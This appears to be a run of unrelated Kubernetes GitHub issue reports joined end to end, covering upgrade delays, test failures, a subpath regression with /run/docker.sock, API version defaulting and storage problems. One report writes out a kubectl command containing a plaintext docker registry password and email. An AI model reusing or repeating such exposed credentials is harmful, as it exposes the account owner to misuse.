 \r   what happened  :\r \r when upgrading a node pool from either 1.6.7 or 1.7.1 to 1.7.2 the upgrade of some node pools  of preemptibles  takes extremely long. about 1 hour per node.\r \r   what you expected to happen  :\r \r i expected upgrades to take longer since version 1.7 - now that poddisruptionbudget is taken into account - but not this much longer. it might even be hanging and only updating the preemptible nodes when they get replaced after their 24 hour max lifetime.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i tried recreating it with the following script, but this one actually updates pretty fast as it runs no applications except for the default kube applications.\r \r    \r   create cluster with preemptible node pool\r gcloud container clusters create upgrade-speed-test-cluster --cluster-version=1.6.7  --zone=europe-west1-c\r gcloud alpha container node-pools create auto-scaling-preemptible --cluster=upgrade-speed-test-cluster --zone=europe-west1-c --num-nodes=10 --enable-autorepair --preemptible\r gcloud alpha container clusters update upgrade-speed-test-cluster --enable-autoscaling --node-pool=auto-scaling-preemptible --zone=europe-west1-c --min-nodes=10 --max-nodes=20\r gcloud container node-pools delete default-pool --cluster=upgrade-speed-test-cluster --zone=europe-west1-c --quiet\r \r   upgrade master\r date +\ %t\ \r gcloud container clusters upgrade upgrade-speed-test-cluster --master --zone=europe-west1-c --cluster-version=1.7.2 --no-async --quiet\r date +\ %t\ \r \r   upgrade node pool\r date +\ %t\ \r gcloud container clusters upgrade upgrade-speed-test-cluster --node-pool=auto-scaling-preemptible --zone=europe-west1-c --cluster-version=1.7.2 --no-async --quiet\r date +\ %t\ \r    \r \r this outputs the following for the master and node pool upgrade:\r \r    \r 14:36:17\r updated  https://container.googleapis.com/v1/projects/   /zones/europe-west1-c/clusters/upgrade-speed-test-cluster .\r 14:39:16\r \r 14:39:58\r upgrading upgrade-speed-test-cluster.../\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-05vr:\r  draining...-\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-b9dq:\r  draining.../\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-hld6:\r  draining...-\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-k6tk:\r  draining...-\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-kzqm:\r  draining.../\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-p8w4:\r  draining...\\\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-x6tc:\r  draining...-\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-z5mn:\r  draining...\\\r upgrading upgrade-speed-test-cluster... processing gke-upgrade-speed-te-auto-scaling-pre-d7ac646f-z5mn:\r  upgrading...done.\r updated  https://container.googleapis.com/v1/projects/   /zones/europe-west1-c/clusters/upgrade-speed-test-cluster .\r \r 14:44:03\r    \r \r as you see it only takes 5 minutes for upgrading 10 nodes, so that's just plain fast.\r \r so it's likely that it has to do with either one or more of the applications we're running or the history of the cluster that's over a year old. tracking down which one causes it will be very hard with 190 deployments, 13 statefulsets, 4 daemonsets and 57 poddisruptionbudgets. \r \r are there any logs that can point me in the right direction?\r \r   anything else we need to know?  :\r \r    \r $ gcloud version\r google cloud sdk 165.0.0\r alpha 2017.03.24\r beta 2017.03.24\r bq 2.0.25\r core 2017.07.28\r gcloud\r gsutil 4.27\r kubectl\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :  if i'm not mistaken, the base image being pushed to a machine during pxe boot is done via unencrypted tftp data transfer.  theoretically, there could be a mitm sniffing that pxe boot process and they could  theoretically  snag a copy of your boot image.  not clear to me if anyone cares about this, but some people may have things in their initial boot image that they don't want being sniffed.  that said, it's not clear to me if anyone regularly does nic-based encryption that could encrypt this initial tftp process, and/or if this is an option that is exposed to tftpd or any other system.  separately, i haven't looked through enough details yet, but i wonder if network interface card voltage/current/optical power, etc. are tracked via relevant container orchestration systems that would allow you to identify a potential scenario where you might have a mitm.\r \r i realize there are a tremendous number of other security-related issues that must be passed to get to this point, but i figured it was worth mentioning.\r \r   what you expected to happen  :  i have no expectations.\r \r   how to reproduce it  as minimally and precisely as possible   :  i don't know if this is actually a valid feature request and/or if anyone would need/want/use it, but i won't be able to get to and troubleshoot fast enough to satisfy my curiosity.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?:\r \r  /app kubectl \r 

/ /  /status approved-for-milestone\r /area platform/gke\r @kubernetes/sig-cluster-lifecycle-test-failures\r owns the test\r @kubernetes/sig-gcp-test-failures\r this looks gke-specific\r @kubernetes/sig-node-test-failures\r for the apparmor cluster\r \r this test has been failing since at least 2017-11-13 for the following jobs:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.8-gci-master-upgrade-master\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.8-gci-master-upgrade-cluster-parallel\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.8-gci-master-upgrade-cluster\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.8-gci-master-upgrade-cluster-new\r \r these jobs are on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevent us from cutting v1.9.0-beta.1  kubernetes/sig-release 34 . is there work ongoing to bring this test back to green?\r \r  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterupgrade%5c%5d \r \r  triage cluster 1a3779e6777a416e5ddf  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterupgrade%5c%5d 1a3779e6777a416e5ddf \r    \r ...responseerror: code=400, message=cluster master cannot be upgrade to \\\\\\\ 1.10.0-alpha.0.55+01c74145c7b655\\\\\\\ ...\r    \r \r  triage cluster 590fed6433270872638b  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterupgrade%5c%5d 590fed6433270872638b \r    \r ...invalid apparmor profile name: \ unconfined\ ...\r    \r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/729

kubectl version: community master branch\r \r    \r $kubectl get all\r name           desired   current   up-to-date   available   age\r deploy/nginx   2         2         2            2           25m\r \r name                  desired   current   ready     age\r rs/nginx-5fd7c65bc8   2         2         2         25m\r \r name           desired   current   up-to-date   available   age\r deploy/nginx   2         2         2            2           25m\r \r name                  desired   current   ready     age\r rs/nginx-5fd7c65bc8   2         2         2         25m\r \r name                        ready     status    restarts   age\r po/counter                  1/1       running   0          11d\r po/nginx-5fd7c65bc8-25qlz   1/1       running   0          25m\r po/nginx-5fd7c65bc8-hqt8j   1/1       running   0          25m\r \r name             type        cluster-ip   external-ip   port s    age\r svc/kubernetes   clusterip   20.1.0.1     <none>        443/tcp   48d\r svc/my-service   clusterip   20.1.0.10    <none>        80/tcp    15d\r    \r \r deployments and rs are printed twice.\r one is extensions.deployments and another one is apps.deployments.\r \r  \r

is this a bug report or feature request?  :\r  \r this is helpful to scheduler performance if the extender targets on a small group of pods.

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r \r block volumes for the local-volume plugin was recently added, https://github.com/kubernetes/kubernetes/pull/59303. \r \r we identified an issue during unmap  60025, due to a recent change.\r \r   what you expected to happen  :\r \r we'd expect e2e tests to validate local-volume plugins are operational and catch regressions quickly.

fix status:  \r -  x  fixed in master in https://github.com/kubernetes/kubernetes/pull/61480\r -     fix in release-1.10 branch pending\r -     fix in release-1.9 branch pending\r -     fix in release-1.8 branch pending\r -     fix in release-1.7 branch pending\r \r this is a regression after the recent spat of security fixes. \r \r how to reproduce:\r \r 1. create a pod definition that uses \ /\  as hostpath.\r 2. try and mount something like \ /run/docker.sock\  as a subpath within a container.\r 3. the pod will fail to start\r \r the reason of this regression is -  openat  system call being used on https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/mount_linux.go l1138 does not work for special files like unix sockets and it will throw -  errno::enxio: no such device or address /run/docker.sock \r \r 

currently  volume.spec  exists in two places in  attachedvolume  struct. it exists as top level field on struct and then within  attachedvolume.mountedpods . it can be confusing and error prone in deciding which field contains accurate information and hence we have decided to remove  volume.spec  from  attachedvolume  struct.\r \r 

what happened  :\r the conformance document currently has a static header that is displayed from a file. the release information in the header should reflect proper release number so that the document reflect the current state.\r \r   what you expected to happen  :\r should show proper current release information\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r actually we got this spec:\r \r    yaml\r   - name: my-name.tld\r     clientconfig:\r       service:\r         name: my-name\r         namespace: my-namespace\r         path: \ /my-path\ \r       cabundle: base64encodedstring\r    \r \r in my humble opinion, better to handle with a  secretref :\r \r    yaml\r   - name: my-name.tld\r     clientconfig:\r       service:\r         name: my-name\r         namespace: my-namespace\r         path: \ /my-path\ \r       cabundlesecretref:\r         name: secret-name\r         namespace: secret-namespace\r         key: \ ca.tls\ \r    \r \r   why is this needed  :\r \r essentially i'm using  cert-gen  to handle with ease certificates and i faced some difficulties to handle webhook configuration with helm due to certificates management: i have to pass an input value in order to fill correctly the  cabundle  field and it means multiple helm executions, working with hooks and it's not so linear.

i'm recently working on kubernetes deployement on centos7. the  manual config guide on centos  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/centos/centos_manual_config.md  is helpful to get an running environment, but not enough: - user cannot easily deploy a multi-node cluster with too many manual configuration steps. - becides, it is not always easy to find a repo that provides the latest k8s rpm package.  i'd like to provide some scripts as well as guides to support the bare-metal deployment on centos, which are more automated and helpful for users to customize their own deployments.

i have an issue which has the same resulting symptoms as https://github.com/kubernetes/kubernetes/issues/14642  that a container can't use the disk  - but that is not caused by the persistent disk being on the wrong host. - is this the same underlying issue?  - am i shutting down containers in a non-friendly way?  - is the only known workaround that of recreating the rc?    reproducing the error - on gke, create an rc which is responsible for a single-instance pod that uses a persistent disk. - confirm that the pd is working as expected - check which host/node the container is running on. - stop the container. - once the rc has spun up a new container, confirm the container is running on the same host as previously. - attempt to use the pd - see failure.      clearing up after error.  the only way i could clean up was by stopping and recreating the rc.    example run through to reproduce     starting point      $ kubectl get pods -l db=api-db name              ready     status    restarts   age api-db-rc-y7j11   1/1       running   0          1m  $ kubectl get pod api-db-rc-y7j11  -o template -t '{{ .spec.nodename }}' gke-cluster1-9760fccf-node-s8pn  $ kubectl exec api-db-rc-y7j11 ls /var/lib/postgresql/data data lost+found         perform the breaking step      $ kubectl stop pod api-db-rc-y7j11 pods/api-db-rc-y7j11         confirm we're running on the same host      $ kubectl get pods -l app=api-db name              ready     status    restarts   age api-db-rc-bl3ng   0/1       running   0          8s  $ kubectl get pod api-db-rc-bl3ng  -o template -t '{{ .spec.nodename }}' gke-cluster1-9760fccf-node-s8pn         see the error      $ kubectl exec api-db-rc-bl3ng ls /var/lib/postgresql/data ls: reading directory /var/lib/postgresql/data: input/output error         recovering from failure      $ kubectl stop rc api-db-rc replicationcontrollers/api-db-rc  $ kubectl create -f kubernetes/pg-rc.json replicationcontrollers/api-db-rc  $ kubectl get pods -l app=api-db name              ready     status    restarts   age api-db-rc-ao3z9   0/1       pending   0          14s  $ kubectl get pod api-db-rc-ao3z9  -o template -t '{{ .spec.nodename }}' gke-cluster1-9760fccf-node-s8pn  $ kubectl exec api-db-rc-ao3z9 ls /var/lib/postgresql/data data lost+found

forked from issue: https://github.com/kubernetes/kubernetes/issues/18969 issuecomment-177010714  today kube-up asks to bring n nodes, and wait for timeout check the number  m  of ready nodes. if m is not equal to n, kube-up just simply quit. the user has to restart the entire kube-up process from the beginning. this is really a bad user experience. we should add self-healing so that nodes that fail to come up are replaced / repaired. there are many ways to achieve self-handling, and at gce, managed instance group can easily delete nodes or recreate nodes with id:  https://cloud.google.com/compute/docs/instance-groups/ delete_from_group  https://cloud.google.com/compute/docs/instance-groups/ recreate_instances  cc/ @bgrant0607 @davidopp @quinton-hoole @roberthbailey @gmarek

forked from https://github.com/kubernetes/kubernetes/pull/23959 discussion_r59069701.  setting serviceaccountlookup to true ensures that we verify that the service account tokens mentioned in the request are actually present in etcd. without it we just verify that the token is valid. that check breaks if a service account is used after it is deleted.  @liggitt mentioned that we should set it to true in kubernetes apiserver  we dont currently . openshift sets it to true. he also mentioned that @erictune had some performance concerns for setting it to true.  what do others think?  cc @liggitt @erictune @lavalamp @kubernetes/sig-auth

readiness and liveness exec probes fire an event when the container is not running - we should not be firing the event  handling the specific container not running error  since we know for sure the container is dead:      rkoubsky   1h        1h        2         basic-sti-1-p7jnr   pod       spec.containers{basic-sti}   warning   unhealthy   {kubelet ip-xxxx}   readiness probe failed:  rkoubsky   1h        1h        1         basic-sti-1-p7jnr   pod       spec.containers{basic-sti}   warning   unhealthy   {kubelet ip-xxxx}   readiness probe errored: failed to run in container - exec setup failed - api error  500 : container 569bdd1b2051a84be701788d12f584396b69904f563144386133c5c9863f8805 is not running  rkoubsky   1h        1h        1         basic-sti-1-p7jnr   pod       spec.containers{basic-sti}   warning   unhealthy   {kubelet ip-xxxx}   liveness probe errored: failed to run in container - exec setup failed - api error  500 : container 569bdd1b2051a84be701788d12f584396b69904f563144386133c5c9863f8805 is not running

i believe the issue is that we don't take into account that the subnet availability zone can differ slightly from the  actual availability zone.  relevant source line: https://github.com/kubernetes/kubernetes/blob/f2ddd60eb9e7e9e29f7a105a9a8fa020042e8e52/cluster/aws/util.sh l836  editing the line and adding an \ a\  to the availability zone perameter resolved the problem. i believe that when leaving out the availability parameter aws will simply choose a zone for you.  edit: the same goes for the create-volume command: https://github.com/kubernetes/kubernetes/blob/f2ddd60eb9e7e9e29f7a105a9a8fa020042e8e52/cluster/aws/util.sh l468  env vars:      export kubernetes_provider=aws export kube_aws_zone=eu-central-1 export num_nodes=2 export master_size=t2.nano export node_size=t2.nano export aws_s3_region=eu-central-1 export instance_prefix=k8s export kube_os_distribution=jessie      output:      creating vpc. adding tag to vpc-4e162a27: name=kubernetes-vpc adding tag to vpc-4e162a27: kubernetescluster=kubernetes using vpc vpc-4e162a27 adding tag to dopt-ab0771c2: name=kubernetes-dhcp-option-set adding tag to dopt-ab0771c2: kubernetescluster=kubernetes using dhcp option set dopt-ab0771c2 creating subnet.  an error occurred  invalidparametervalue  when calling the createsubnet operation: value  eu-central-1  for parameter availabilityzone is invalid. subnets can currently only be created in the following availability zones: eu-central-1b, eu-central-1a.

in current secret/configmap volume management design, secret/configmap volumes get periodically rewritten when syncpod occurs to keep their contents up to date. however, there is some use cases that users do not want this behavior. for example,  user create a secret to store a password for a database. after the pod is created and secret volume is mounted to the container, the secret password is used for creating a database. after that, user wants to delete the secret instead of keeping it around in the container. however, current design will rewrite the secret after the deletion.  user initial request issue is here  29498   proposal for this: 1. add an option in pod creation file:  under volume section  remountenabled: true/false 2. during sync pod, volume manager will check whether the flag is set or not. if it is false, skip remount step.  target to add this feature in 1.4.0

i am using cni  with ipvlan plugin in kubernetes .  here is my cni config file ：      {     \ name\ : \ ipv4-10-0-0-0-16\ ,     \ type\ : \ ipvlan\ ,     \ master\ : \ eth0\ ,     \ mode\ : \ l2\ ,     \ ipam\ : {         \ type\ : \ host-local\ ,         \ subnet\ : \ 10.0.0.0/16\ ,         \ rangestart\ : \ 10.0.9.1\ ,         \ rangeend\ : \ 10.0.9.10\ ,         \ gateway\ : \ 10.0.10.254\ ,         \ routes\ :               { \ dst\ : \ 0.0.0.0/0\  }               } }      the docker host can't ping with the pod ip on the same host, so is there any way to use the healchek which based on http.

the service controller has no integration test coverage, which is bad for obvious reasons.

this topic has come up many times lately, so i am writing down my thoughts.\r \r assertion: topology is arbitrary.  today we sort of capture \ region\  and \ zone\  as special things, which we decorate as labels on a few resource kinds.  that works for aws and gce and other clouds, but a  falls down in case of on-premise environments and b  isn't used pervasively  e.g. https://github.com/kubernetes/kubernetes/issues/41394 .  you can easily imagine an on-prem installation that wants to track things per-rack or per-generator or who knows what.\r \r in fact, if you squint, we have a third level of topology - \ hostname\  - which is used by things like daemonset.\r \r what is starting to form is an idea of a \ per-topological-value\  aspect to many apis.  what if i could say \ i want 3 replicas per zone\  or \ i want 1 replica per rack\  or \ find zone-local backends for service x\ ?\r \r obviously questions remain.  what sort of slush is there at the edges?  do things like rolling updates apply per-topo or across all topos? are updates per-topo or cross-sectional?  are within-topo services hard requests or soft-requests?  if this extends to services  https://github.com/kubernetes/kubernetes/pull/28637 discussion_r94002246 , does it mean \ try local, then go wider\  or is it a hard constraint?  naively these seem exact, not a min or max or suggestion.  it's a somewhat simplistic model, but it seems to be a reasonable starting place.  perhaps eventually it grows into weights or scalars per topo, but not yet.\r \r this is very familiar to the federation design, and to the taints/tolerations design, too.  i am tired of seeing this pattern pop up and i think it might be worth thinking about how to solve it more holistically.  i do not have a more concrete proposal at this time.\r \r @davidopp @justinsb @kubernetes/sig-federation-misc

the glbc controller is accessing the insecure port on the master, which means it skips authentication. this is an issue for audit logging, as it shows up as  user=\ system:insecured\   rather than a proper service account identity.\r \r to fix this, the pod should be configured with a service account identity, and the  --running-in-cluster  flag should be set to true so that the kubernetes client is configured to use the service account.\r \r /cc @kubernetes/sig-auth-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r kubectl drain uses the values after reflection instead of typecasting once it the node object is confirmed https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/drain.go l624 . while working on taints for  44944, we noticed that this causes extension to be round about, so, converting the object to node type seems reasonable. \r

bug report   :\r \r > /kind  \r \r   what happened  :\r deleting a deployment deletes the replica set as excepted but not the pods within this deployments. \r \r   what you expected to happen  :\r the pods should be deleted as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r running on aws  with kops  and kubernetes v1.6.6\r \r   anything else we need to know?  :\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: helloworld\r   labels:\r     app: helloworld\r spec:\r   ports:\r     - \r       port: 80\r       targetport: 10000\r   selector:\r     service: helloworld\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: helloworld\r spec:\r   replicas: 1\r   revisionhistorylimit: 0\r   selector:\r     matchlabels:\r       service: helloworld\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       labels:\r         service: helloworld\r     spec:\r       containers:\r       - \r         name: helloworld\r         image: 'my.service.io/service/helloworld:latest'\r         imagepullpolicy: always\r         ports:\r         - containerport: 10000\r         command:\r         - node\r         args:\r         - \ app.js\ \r       imagepullsecrets:\r       - name: my-screts\r       restartpolicy: always\r       terminationgraceperiodseconds: 30 \r    \r \r   environment  :\r - running on aws\r - debian gnu/linux 8  jessie \r - kernel 4.4.65-k8s\r - install tools: kops\r - kuberentes v1.6.6\r - docker 1.12.6\r \r @kubernetes/area workload-api/deployment

init containers have already graduated to ga in 1.6, we should remove the annotations.\r \r  node\r /assign

this test is running as part of pull-kubernetes-e2e-gce-bazel suite and flaking:\r https://github.com/kubernetes/kubernetes/blob/991afb24367d9aeaf4f1dbfc15a6d5422cda6786/test/e2e/instrumentation/logging/stackdrvier/basic.go l39\r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-bazel\r \r can we please remove it from presubmits? it depends on stackdriver endpoint being available.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r after upgrading the master to 1.9.3-gke.0 in my gke cluster, the kubectl replare freezes when i perform the command below:\r \r kubectl create secret -n \ test\  \\\r        docker-registry test-registry \\\r        --docker-server = \ registry.devops.teste.com\  \\\r        --docker-username = \ test\  \\\r        --docker-password = \ pku3fzffxw2xv2ygm-a1\  \\\r        --docker-email = \ test@teste.com\ \r        -o yaml --dry-run | kubectl replace -n \ test\  --force -f -\r \r if the resource does not exist it creates without problems, but if the resource exists after deleting the previous one it hangs.\r \r   what you expected to happen  :\r i hope the secret is recreated\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r execute the command 2x\r \r kubectl create secret -n \ teste\  \\\r       docker-registry teste-registry \\\r       --docker-server=\ registry.devops.teste.com\  \\\r       --docker-username=\ teste\  \\\r       --docker-password=\ pku3fzffxw2xv2ygm-a1\  \\\r       --docker-email=\ teste@teste.com\  \\\r       -o yaml --dry-run | kubectl replace -n \ teste\  --force -f -\r \r   anything else we need to know?  :\r this started after master's upgra for version\r 1.9.3-gke.0\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.3-gke.0\ , gitcommit:\ a7b719f7d3463eb5431cf8a3caf5d485827b4210\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:01z\ , goversion:\ go1.9.2b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r n1-standard-4  4 vcpus, 15 gb memory \r \r - os  e.g. from /etc/os-release :\r container-optimized os  cos \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r  kubectl apply -f deploy.yaml  where  deploy.yaml  is copied directly from the documentation https://kubernetes.io/docs/concepts/workloads/controllers/deployment/:\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r then  kubectl get deployment nginx -o yaml  produces:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 1\ \r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ apps/v1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ app\ :\ nginx\ },\ name\ :\ nginx-deployment\ ,\ namespace\ :\ booking-ci\ },\ spec\ :{\ replicas\ :3,\ selector\ :{\ matchlabels\ :{\ app\ :\ nginx\ }},\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ nginx\ }},\ spec\ :{\ containers\ : {\ image\ :\ nginx:1.7.9\ ,\ name\ :\ nginx\ ,\ ports\ : {\ containerport\ :80} } }}}}\r     kubernetes.io/change-cause: kubectl create --filename=nginx.yaml --save-config=true\r       --record=true\r   creationtimestamp: 2018-04-09t14:45:01z\r   generation: 1\r   labels:\r     app: nginx\r   name: nginx-deployment\r   namespace: booking-ci\r   resourceversion: \ 1262711\ \r   selflink: /apis/extensions/v1beta1/namespaces/booking-ci/deployments/nginx-deployment\r   uid: 953da97b-3c04-11e8-89a6-12c80c583b80\r spec:\r   progressdeadlineseconds: 600\r   replicas: 3\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: nginx\r   strategy:\r     rollingupdate:\r       maxsurge: 25%\r       maxunavailable: 25%\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx:1.7.9\r         imagepullpolicy: ifnotpresent\r         name: nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   availablereplicas: 3\r   conditions:\r   - lasttransitiontime: 2018-04-09t14:45:05z\r     lastupdatetime: 2018-04-09t14:45:05z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   - lasttransitiontime: 2018-04-09t14:45:01z\r     lastupdatetime: 2018-04-09t14:45:05z\r     message: replicaset \ nginx-deployment-6c54bd5869\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   observedgeneration: 1\r   readyreplicas: 3\r   replicas: 3\r   updatedreplicas: 3\r    \r \r   what you expected to happen  :\r to have a deployment named  nginx  that is of  apiversion: apps/v1  or whatever  apiversion  is specified in the yaml. or to get an error saying  cannot create deployment with apiversion apps/v1 .\r   how to reproduce it  as minimally and precisely as possible   :\r above has all necessary steps. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:50:44z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ archive\ , builddate:\ 2018-02-16t10:14:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r  kubectl api-versions \r    \r admissionregistration.k8s.io/v1beta1\r apiextensions.k8s.io/v1beta1\r apiregistration.k8s.io/v1beta1\r apps/v1\r apps/v1beta1\r apps/v1beta2\r authentication.k8s.io/v1\r authentication.k8s.io/v1beta1\r authorization.k8s.io/v1\r authorization.k8s.io/v1beta1\r autoscaling/v1\r autoscaling/v2beta1\r batch/v1\r batch/v1beta1\r certificates.k8s.io/v1beta1\r events.k8s.io/v1beta1\r extensions/v1beta1\r networking.k8s.io/v1\r policy/v1beta1\r rbac.authorization.k8s.io/v1\r rbac.authorization.k8s.io/v1beta1\r settings.k8s.io/v1alpha1\r storage.k8s.io/v1\r storage.k8s.io/v1beta1\r v1\r    \r \r also if  apiversion  is changed to  apps/v1beta1  or  apps/v1beta2  before creating the deployment resource, it also defaults to  extensions/v1beta1 .

@jsafrane brought this up during the csi standup. \r \r it seems to be true, in the test config we do not set  t.attach  which is required to bring up the pod for consuming the volume.\r \r the code where  t.attach  is checked:  https://github.com/kubernetes/kubernetes/blob/bbf5625630d59b36147a6a8c4be2c134c47ae8b2/test/e2e/storage/volume_provisioning.go l135\r \r the test config used where  attach  is not set to true:\r https://github.com/kubernetes/kubernetes/blob/bbf5625630d59b36147a6a8c4be2c134c47ae8b2/test/e2e/storage/csi_volumes.go l128\r \r   /assign\r /cc @jsafrane @sbezverk \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  /area conformance\r /area test\r    \r > uncomment only one, leave it on its own line:\r >\r >  \r \r clean up the conformance test cases by reference of issue   66875  https://github.com/kubernetes/kubernetes/issues/66875 \r \r port mirror pod node conformance  tests from e2e_node to e2e\r \r \r @kubernetes/sig-testing

hi guys!  maybe isn't exactly an issue... we are using glusterfs cluster to pv and pvc. it works good until we try to enable glusterfs disk-encryption  see: http://www.gluster.org/community/documentation/index.php/features/disk-encryption  . without pv i can mount the encrypted cluster when i put the master key to a specified path  for example /etc/glusterkey/master_key  on the client  on server i set this path and i try mount -t command, and it worked . but when i tried to use this volume with pv i got this:   > unable to mount volumes for pod \ pref2_default 46ce58be-41b0-11e6-ad08-fa163e786339 \ : unsupported volume type  so have you got any idea? anybody try to use these two feature each other? i didn't foud any parameter, where i can set the encryption key to pv.   thanks!

